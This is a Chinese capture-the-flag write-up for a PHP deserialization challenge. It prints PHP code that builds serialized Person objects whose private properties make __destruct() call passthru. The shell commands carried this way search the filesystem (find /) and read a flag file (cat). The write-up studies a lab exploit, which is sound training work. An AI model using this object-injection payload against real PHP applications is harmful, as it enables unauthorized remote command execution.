一、题目基本信息
- 题目名称: serialize 
- 题目地址: http://180.76.235.121:34223 
- 涉及考点:PHP反序列化漏洞、析构函数触发RCE、命令执行、本地PHP环境搭建

二、解题环境准备
1. 本地PHP环境搭建(小皮面板)
2. 打开小皮面板,启动 Apache 和 MySQL 服务,确保服务状态显示为“已启动”。
3. 找到小皮面板的 WWW 根目录(通常在小皮安装目录下的 /WWW/ 文件夹)。
4. 用VSCode打开该 WWW 文件夹,新建 exp.php 文件,用于生成序列化Payload。
5. 验证环境:访问 http://localhost/exp.php ,确认页面能正常解析PHP代码。

三、完整解题步骤
步骤1:构造Payload,定位flag文件路径
1. 在VSCode中编写 exp.php 代码(查找flag文件)
在 WWW/exp.php 文件中写入以下代码,将 $name 设置为命令执行函数 passthru , $age 设置为全盘搜索flag文件的命令:
php
<?php
class Person{
    private $name="passthru";
    // 屏蔽错误输出,全盘搜索带flag的文件
    private $age="find / -name '*flag*' 2>/dev/null";
}
// 序列化对象并进行URL编码
echo urlencode(serialize(new Person));
?>


 2. 生成并提交新的Payload
1. 访问 http://localhost/exp.php ,页面输出URL编码后的序列化字符串。
2. 回到题目页面,打开 HackBar ,选择 POST 请求方式,在请求体中输入:
plaintext
person=【复制的新编码内容】

3. 提交请求后,服务器执行 find 命令,返回flag文件路径: /flag_5221.txt。

步骤2:修改Payload,读取flag文件内容
1. 修改 exp.php 代码(读取flag文件)
根据上一步得到的flag文件路径,修改 $age 为读取文件的命令:

<?php
class Person{
    private $name="passthru";
    // 读取flag文件内容
    private $age="cat /flag_5221.txt";
}
// 序列化对象并进行URL编码
echo urlencode(serialize(new Person));
?>

2. 生成并提交新的Payload
1. 再次访问 http://localhost/exp.php ,生成新的URL编码序列化字符串。
2. 回到题目页面,在 HackBar 中再次提交POST请求:
plaintext
person=【复制的新编码内容】

3. 提交请求后,服务器执行 cat 命令,直接返回flag文件内容,成功获取题目flag。

四、最终结果
通过两次Payload提交,成功执行命令读取flag文件,获取题目flag:
 flag{xxxxxxxxxxxxxxxxxxxxxxxx} (替换为实际获取的flag内容)

五、总结
本次题目利用PHP反序列化漏洞,通过控制 Person 类的私有属性,触发析构函数中的动态函数调用,实现命令执行。解题的关键在于:
- 理解反序列化过程中 __destruct() 析构函数的自动触发机制。
- 掌握私有属性序列化的URL编码处理方法。
- 正确搭建本地PHP环境,在VSCode中编写并运行Payload代码。
- 分两次提交Payload,先定位flag文件路径,再读取文件内容。
 

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐